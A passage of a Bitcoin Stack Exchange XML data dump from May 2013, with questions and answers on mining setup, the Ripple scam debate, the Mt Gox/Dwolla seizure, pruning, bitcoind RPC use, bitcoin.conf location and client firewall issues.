  <row Id="11174" PostTypeId="2" ParentId="11173" CreationDate="2013-05-24T14:17:34.300" Score="1" Body="&lt;p&gt;You have to replace the part &quot;-u username -p pass&quot; with the actual username and password of your worker.&#xA;Log into coinotron and create a new worker in the &quot;Add Worker&quot; section. The worker will appear in the table below. Use the displayed name and password of your worker in the command and you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="4473" LastActivityDate="2013-05-24T14:17:34.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11175" PostTypeId="1" CreationDate="2013-05-24T14:17:56.130" Score="2" ViewCount="203" Body="&lt;p&gt;This crucial piece of info has been frustratingly absent from the news accounts I've seen. Specifically from what I understand, an account was &quot;frozen&quot;.  What does that mean for the people unlucky enough to have had their transaction present in the account at the time of &quot;freezing&quot;?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="196" LastEditDate="2013-05-24T17:47:59.340" LastActivityDate="2013-05-24T17:47:59.340" Title="Did any customers lose money with the Mt Gox / Dwolla legal situation?" Tags="|mtgox|dwolla|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11176" PostTypeId="2" ParentId="11172" CreationDate="2013-05-24T14:58:59.120" Score="5" Body="&lt;p&gt;Here's the short answer: no, Ripple is not a scam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are lots of Bitcoin enthusiasts that believe that Ripple is a competitor to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the claims in forums and on websites are false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, ripplescam.org says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ripple is not open source. No server source code has being released, with the paid developers behind Ripple admitting that it is to prevent others from using building something better than Ripple in true open source fashion.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The source code for the client has already been released; the &lt;a href=&quot;https://ripple.com/wiki/FAQ#Is_Ripple_open_source.3F&quot;&gt;server code&lt;/a&gt;&#xA; is expected soon.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Every single Ripple nodes is controlled by a private for profit company. It is centralized, like a bank or PayPal. Not a decentralized currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also not true. Anyone can run a &lt;a href=&quot;https://ripple.com/wiki/FAQ#Who_will_run_validating_nodes.3F&quot;&gt;Ripple gateway&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could go on, but you get the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the deal: some Bitcoin people see Ripple as a competitor. Actually, Ripple is complimentary to Bitcoin. Since Ripple is an open payment network, you can use any currency you want, including Bitcoin. In fact, I expect that, if Ripple takes off, Ripple will be the easiest way to exchange Bitcoin for dollars, euros, etc.&lt;/p&gt;&#xA;" OwnerUserId="593" LastEditorUserId="593" LastEditDate="2013-05-24T15:15:41.563" LastActivityDate="2013-05-24T15:15:41.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11177" PostTypeId="2" ParentId="11170" CreationDate="2013-05-24T15:05:56.307" Score="-1" Body="&lt;p&gt;AFAIK, all the transaction outputs are purged from the database when they are spent. Not from the bock database, though, but it just does not make too much sense to remove it from the block database, since it would only worsen the node's performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you cannot purge unspent outputs, now matter how old they are, for quite an obvious reasons.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-24T15:05:56.307" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11178" PostTypeId="2" ParentId="11063" CreationDate="2013-05-24T15:09:47.460" Score="3" Body="&lt;p&gt;No, there is no way of proving that a hash exists other than actually finding that hash. (i.e. brute force). The existence of a method of being able to predict the result of a hash other than computing the hash would render the hash function cryptographically unsound. (And so we can infer that no mathematician has found such a method for SHA-256).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, as discussed &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9933/is-it-possible-for-the-network-to-stop-finding-valid-blocks&quot;&gt;in this other Q&amp;amp;A&lt;/a&gt;, there are a number of characteristics of a block that are dynamic so it isn't as if an &quot;insolvable&quot; block would actually cause any network problems.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-05-24T15:09:47.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11179" PostTypeId="2" ParentId="11172" CreationDate="2013-05-24T15:18:16.727" Score="-2" Body="&lt;p&gt;It depends how you define &quot;scam&quot;.&#xA;IMO, it is not more of a scam than the fractional reserve system, used in the economy worldwide for like a century already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They take your bitcoins and multiply them using a fractional reserve system, holding the actual coins, and giving you IOUs instead. It is an old idea and different kind of bank-like institutions have been doing it, even with gold, since basically forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows for an existence of more money then there originally was - which might be a good thing, or might be a bad thing, depending on how good an inflation is to you... But either way, it surely cannot end well.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-24T15:18:16.727" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11180" PostTypeId="2" ParentId="11172" CreationDate="2013-05-24T15:39:56.273" Score="1" Body="&lt;p&gt;No Ripple is not a scam. It's a product, [BASED UPON] open sourced project and an attempt to resolve some cryptocurrency to fiat concerns we have in the existing exchange model. I like to think of Ripple as a meta-currency designed to enhance existing currencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appears to be a campaign on bitcointalk to discredit ripple including some forum members claiming they offered money to claim ripple is a scam. Also ripple has a close relationship with Google, which makes some people uncomfortable. However, nothing about the service or the people working on the service indicate a scam.&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-05-24T18:38:58.870" LastActivityDate="2013-05-24T18:38:58.870" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11181" PostTypeId="2" ParentId="11158" CreationDate="2013-05-24T16:02:38.910" Score="4" Body="&lt;p&gt;I think this is best answered by an example. Let's find the coinbase from a block on the Bitcoin testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First we'll get the hash for a block we want to look at. We'll have a look at the (as I write this) latest block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; bitcoind getblockcount&#xA;81626&#xA;&amp;gt; bitcoind getblockhash 81626&#xA;0000000000834f3933b50577b854692ed246728a17d10006ced1283a3fd8074c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we need to find the hash of the generation transaction from that block. It's always the first one listed. In this example there is only 1 transaction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; bitcoind getblock 0000000000834f3933b50577b854692ed246728a17d10006ced1283a3fd8074c&#xA;[...]&#xA;    &quot;tx&quot; : [&#xA;        &quot;f1fdeb7ced28f697c97b6a3ed7cc1946e1fc5e062ad8c17d05c88b1767b91b2a&quot;&#xA;    ],&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now we can grab the coinbase from the transaction. The getrawtransaction command's second parameter can be set to 1 to give us individual pieces of the transaction so we can easily find the coinbase. Alternatively we could leave that out and it would give us a single binary blob to navigate ourselves.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; bitcoind getrawtransaction f1fdeb7ced28f697c97b6a3ed7cc1946e1fc5e062ad8c17d05c88b1767b91b2a 1&#xA;[...]&#xA;&quot;coinbase&quot; : &quot;03da3e012cfabe6d6d18c47c97379852a93158528bb709355a0d38d05fedf072b610bb57442aad4e710400000000000000062f503253482f&quot;,&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And there's the coinbase. Now we can check whether it contains pieces of ASCII text or whatever else we want to do with it.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-05-24T16:02:38.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11182" PostTypeId="2" ParentId="11175" CreationDate="2013-05-24T16:07:29.260" Score="3" Body="&lt;p&gt;Here is the timeline for my deposit, which shows that at least one deposit was honored:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;May 14 @ 10:14 AM CST --&gt; Dwolla notified me that money was sent&lt;/li&gt;&#xA;&lt;li&gt;May 14 @ 12:16 PM CST --&gt; Dwolla notified me that DHS seized Mt Gox's account&lt;/li&gt;&#xA;&lt;li&gt;May 14 @ 08:53 PM CST --&gt; Mt. Gox notified me that funds from dwolla were deposited&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't speak about other transactions with certainty, but from the fact that my deposit went through and the lack of any major &quot;I lost $3,700 during the DHS crackdown&quot; news stories, my guess is that all transactions that happened around this time were either honored or rolled back.&lt;/p&gt;&#xA;" OwnerUserId="3027" LastActivityDate="2013-05-24T16:07:29.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11183" PostTypeId="1" AcceptedAnswerId="93022" CreationDate="2013-05-24T17:24:32.443" Score="4" ViewCount="776" Body="&lt;p&gt;I would like to store my Bitcoin RPC passwords and usernames in environment variables, like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=$RPC_USER&#xA;rpcpassword=$RPC_PASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this supported in bitcoin core? Can environmental variables be parsed from my bitcoin.conf file?&lt;/p&gt;&#xA;" OwnerUserId="5215" LastEditorUserId="6256" LastEditDate="2016-01-13T21:48:34.670" LastActivityDate="2020-01-29T05:56:50.340" Title="Does bitcoin.conf expand environment variables?" Tags="|passphrase|bitcoin.conf|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11184" PostTypeId="2" ParentId="11172" CreationDate="2013-05-24T17:45:41.620" Score="14" Body="&lt;p&gt;Time will tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two main accusations against Ripple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;it claims to be open and decentralised, but &lt;strong&gt;currently&lt;/strong&gt; it isn't, since the server is closed source and controlled exclusively by Ripple owners (OpenCoin)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it came with a lot of preminted coins, some of which are supposed to be distributed freely, while others are to be kept by Ripple developers and owners (as a payment for the effort)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You may like or not point 2, but that is definitely &lt;em&gt;not&lt;/em&gt; a scammy fact, since it's not a secret: as long as they actually &lt;em&gt;do&lt;/em&gt; distribute those coins, that is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point 1 is more crucial: it is widely considered bad to promote something as open when it isn't. Same goes with promoting something as decentralised when it isn't either. Claiming &quot;it will be&quot; quite obviously isn't enough. Once they will eventually release the server sources, their credibility will likely be restored and those accusations should likely stop.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-05-24T18:43:09.633" LastActivityDate="2013-05-24T18:43:09.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11185" PostTypeId="2" ParentId="10164" CreationDate="2013-05-24T17:52:55.800" Score="1" Body="&lt;p&gt;Private addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a bitcoin address of each shareholder and each week they make a payment to this address, proportionally to the number of shares he owns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of the div-payment transactions (there are few of them each Wednesday): &lt;a href=&quot;http://blockchain.info/tx/8e26e8fd5eada1dc5d5125b39db66129bb55645d654b4c6dfc4a0611f3de358d&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx/8e26e8fd5eada1dc5d5125b39db66129bb55645d654b4c6dfc4a0611f3de358d&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-24T17:52:55.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11186" PostTypeId="2" ParentId="11158" CreationDate="2013-05-24T18:01:34.687" Score="0" Body="&lt;p&gt;I think no - it's not possible using the current bitconind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you want to use not only RPC, but also the bitcoin protocol. Then you can just download each new block from your node (using getdata command) and check it is has &quot;Mined By ASICMiner&quot; in the expected place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also look into the blocks database directly - the blocks are stored on disk by your bitcoin node, in a pretty straight forward format.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-24T18:01:34.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11187" PostTypeId="2" ParentId="11167" CreationDate="2013-05-24T18:06:42.240" Score="1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the data you need to assemble it is there on blockchain.info.&#xA;Just follow the TX format and you can do it.&#xA;I did it myself, so I can assure you that it would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#tx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3056" LastEditorUserId="3056" LastEditDate="2013-05-24T18:18:07.027" LastActivityDate="2013-05-24T18:18:07.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11188" PostTypeId="2" ParentId="11170" CreationDate="2013-05-24T18:13:07.603" Score="12" Body="&lt;p&gt;Pruning is being considered, in fact, it was taken into account when designing the 0.8 database format. The unspent transaction outputs (which is the only essential piece of data necessary for validation) are already kept in a separate database, so technically removing old blocks is perfectly possible. It'll likely require some small changes to make sure the code doesn't break when block data that doesn't exist anymore is requested, but this is easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it's not implemented is because of the effect on the network as a whole. If a large amount of nodes starts pruning old block data away, it will become harder for new nodes starting up to find the historic data to verify. This is not a problem as such - I expect enough copies will remain that this is not a true problem - but we need a discovery mechanism so nodes don't need to arbitrarily try peers until they happen to reach one that has the blocks they need. In fact, there's a &lt;a href=&quot;http://thread.gmane.org/gmane.comp.bitcoin.devel/2065&quot; rel=&quot;nofollow&quot;&gt;discussion&lt;/a&gt; going on on the bitcoin-development mailing list about this right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Pruning was implemented in Bitcoin Core 0.11, and is fully functional since 0.12.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-06-20T19:52:46.227" LastActivityDate="2016-06-20T19:52:46.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11189" PostTypeId="2" ParentId="10095" CreationDate="2013-05-24T18:32:55.080" Score="1" Body="&lt;p&gt;Any PC that can run any software that would be able to import &lt;code&gt;wallet.dat&lt;/code&gt; can surely also run &lt;strong&gt;bitcoind&lt;/strong&gt;.  You do not need to download the blockchain, not even to have a network connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Put &lt;code&gt;wallet.dat&lt;/code&gt; in a proper folder and run bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Then use another console to do:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoind walletpassphrase &lt;em&gt;password&lt;/em&gt; 3600&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;3) and then you can just export any of the keys you need, using:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoind dumpprivkey &lt;em&gt;publicaddr&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you don't have any password over your wallet, just skip point 2.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastEditorUserId="3056" LastEditDate="2013-05-24T18:39:32.250" LastActivityDate="2013-05-24T18:39:32.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11190" PostTypeId="1" AcceptedAnswerId="11210" CreationDate="2013-05-24T18:56:18.123" Score="12" ViewCount="45090" Body="&lt;p&gt;I keep getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXCEPTION: N5boost16exception_detail10clone_implINS0_19error_info_injectorINS_15&#xA;program_options26invalid_config_file_syntaxEEEEE&#xA;the options configuration file contains an invalid line 'XXXXXXXXXXX'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where can I find the &lt;code&gt;bitcoin.conf&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="1405" LastEditDate="2014-03-25T04:38:57.787" LastActivityDate="2023-08-21T14:50:50.900" Title="Where is the configuration file of Bitcoin-Qt kept?" Tags="|bitcoin.conf|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11191" PostTypeId="1" CreationDate="2013-05-24T20:10:30.617" Score="5" ViewCount="2314" Body="&lt;p&gt;Is there any client that can run behind a firewall?  I tried bitcoin-qt and Electrum and neither could work because of blocked ports.  I know I could use a web-hosted solution but I'd prefer a local wallet.dat.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2017-10-20T09:46:34.100" Title="Client that can run behind a firewall" Tags="|client|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11192" PostTypeId="1" CreationDate="2013-05-24T21:37:49.617" Score="0" ViewCount="1141" Body="&lt;p&gt;I received a transaction which has been unconfirmed for 36 hours with 0 confirmations. I'm relatively new to btc and having had a relatively speedy, problem free experience so far I'm not sure what to make of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/751bd6c180fac5c1b54ba428d2b4416a13ecefd978193e5dc8138f5b0de56f86&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/751bd6c180fac5c1b54ba428d2b4416a13ecefd978193e5dc8138f5b0de56f86&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5222" LastEditorUserId="5222" LastEditDate="2013-05-24T21:51:23.763" LastActivityDate="2013-05-24T22:19:50.870" Title="Unconfirmed transaction" Tags="|transactions|" AnswerCount="1" CommentCount="1" ClosedDate="2013-05-27T16:51:35.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="11193" PostTypeId="2" ParentId="11190" CreationDate="2013-05-24T22:15:23.647" Score="3" Body="&lt;p&gt;I would guess that that refers to your bitcoin.conf.  There's platform-specific information on where to find it at: &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-24T22:15:23.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11194" PostTypeId="2" ParentId="11192" CreationDate="2013-05-24T22:19:50.870" Score="1" Body="&lt;p&gt;The transaction doesn't seem to have propagated through the network, meaning that not many nodes know about it.  I personally am not sure what to do about that, if there is anything you can do about it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try having the person who sent you the coins restore their wallet from a backup, rescan the blockchain, and send you the coins again.  I think you might be able to get them through like that.  I would recommend having them put a transaction fee on it, though.  That should help it get put into a block quickly.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-24T22:19:50.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11195" PostTypeId="2" ParentId="11191" CreationDate="2013-05-24T22:31:01.283" Score="1" Body="&lt;p&gt;You'll need to open up something to let the traffic your client needs through. &#xA;For instance MultiBit needs port 80 and 8333 open to do some HTTP gets and to make the bitcoind connections, respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other clients will have similar port needs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could set up a SOCKS 4/5 proxy together with an SSH port forwarding tunnel so that your local client could make connections out. Then you would have a specific connection from your machine to the SSH server but nothing else would be open. I use this setup on my Mac to encrypt my traffic and MultiBit works fine. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-05-24T22:31:01.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11196" PostTypeId="1" CreationDate="2013-05-24T23:21:59.407" Score="0" ViewCount="83" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7QAHL.png&quot; alt=&quot;superfish what?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this error connecting to blockchain.info, does anyone know what that means?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-05-25T06:22:19.220" Title="Blockchain.info js verifier error" Tags="|blockchain.info|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11197" PostTypeId="1" CreationDate="2013-05-25T01:44:10.213" Score="0" ViewCount="6481" Body="&lt;p&gt;When I try to start cgminer on windows it throws the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Command:&#xA;cgminer –-scrypt -o http://netcodepool.org:8337 -u usernmae -p mypass –-thread-concurrency 8192 -I 10 -g 1 -w 256&#xA;&#xA;&#xA;:687: error: no matching overload found for arguments of type 'unsigned int  __attribute__((ext_vector_type(&#xA;        4))), unsigned int'&#xA;                        B[i+4] = EndianSwap(tmp[i]);&#xA;                                 ^~~~~~~~~~&#xA;        :700: error: no matching overload found for arguments of type 'unsigned in [2013-05-25 07:10:52] Failed to i&#xA;        nit GPU thread 0, disabling device 0&#xA;         [2013-05-25 07:10:52] Restarting the GPU from the menu will not fix this.&#xA;         [2013-05-25 07:10:52] Try restarting cgminer.&#xA;        Press enter to continue:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="4803" LastEditDate="2013-05-25T08:24:35.240" LastActivityDate="2014-06-27T06:11:37.343" Title="Cgminer not working on windows with Nvidia graphics card" Tags="|cgminer|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11209" PostTypeId="2" ParentId="5892" CreationDate="2013-05-25T04:48:44.490" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://inrbtc.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;INRBTC&lt;/a&gt; allows you to buy/sell bitcoins in Indian Currency using the unique trading platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place your order details and submit. &#xA;you will be asked to deposit 10% of your order value in Bitcoins, after the deposit is sent, the order will be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as your order is matched, a trade will be executed and you will be sent the trade details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the other party does not honor the Trade, you will be paid 5% of the order value as compensation from the counter-parties deposit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the successful completion of trade, the deposit will be refunded after deduction of commission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about the Trading platform is available at &lt;a href=&quot;https://inrbtc.com/info&quot; rel=&quot;nofollow noreferrer&quot;&gt;INRBTC Info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User reviews on using this platform is available at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=231585.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reviews&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : A similar question has been asked at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9344/how-do-i-transfer-funds-from-india-to-an-exchange/11215&quot;&gt;How do I transfer funds from India to an exchange?&lt;/a&gt; , the answer posted there has been posted here too.&lt;/p&gt;&#xA;" OwnerUserId="5226" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-11-30T17:10:55.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11210" PostTypeId="2" ParentId="11190" CreationDate="2013-05-25T05:22:21.150" Score="20" Body="&lt;p&gt;The default location of bitcoin.conf depends on your operating system:&lt;/p&gt;&#xA;&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;OS&lt;/th&gt;&#xA;&lt;th&gt;Path&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Windows XP&lt;/td&gt;&#xA;&lt;td&gt;C:\Documents and Settings\&amp;lt;username&amp;gt;\Application Data\Bitcoin\bitcoin.conf&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Windows Vista, 7, 10&lt;/td&gt;&#xA;&lt;td&gt;C:\Users\&amp;lt;username&amp;gt;\AppData\Roaming\Bitcoin&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Linux&lt;/td&gt;&#xA;&lt;td&gt;/home/&amp;lt;username&amp;gt;/.bitcoin/bitcoin.conf&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;Mac OSX&lt;/td&gt;&#xA;&lt;td&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/Bitcoin/bitcoin.conf&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;&lt;sub&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;Not directly related to this question, but if you cannot find the configuration file at the above path: note that the configuration file is not necessary to run Bitcoin-Qt. &lt;em&gt;If it is not yet present, you can simply create it with any text editor&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2023-08-21T14:50:50.900" LastActivityDate="2023-08-21T14:50:50.900" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="11211" PostTypeId="2" ParentId="11196" CreationDate="2013-05-25T06:22:19.220" Score="2" Body="&lt;p&gt;Basically, I think you have a Google Chrome extension (possibly FastSave 1.1) that is overlaying their ads with superfish's ad-serving network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here for reference:&#xA;&lt;a href=&quot;http://www.fergeeks.com/chrome-tips/fast-save-1-1-chrome-extension-adding-ads-causing-havoc/&quot; rel=&quot;nofollow&quot;&gt;http://www.fergeeks.com/chrome-tips/fast-save-1-1-chrome-extension-adding-ads-causing-havoc/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the chrome extensions you have; disable one by one. This is a particularly unobtrusive and semi-non-harmful (to you) virus that allows a malicious developer to replace ads you view with ads they serve. &lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-05-25T06:22:19.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11212" PostTypeId="2" ParentId="11197" CreationDate="2013-05-25T06:24:09.243" Score="0" Body="&lt;p&gt;What kind of graphics card do you have? Check out the bitcointalk forum post about this (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=171515.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=171515.0&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=171515.msg1971560#msg1971560&quot; rel=&quot;nofollow&quot;&gt;&quot;The auto gpu and fan settings are only for ATI cards I believe.&quot;&lt;/a&gt; If you have a different one, perhaps change your settings.&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-05-25T06:24:09.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
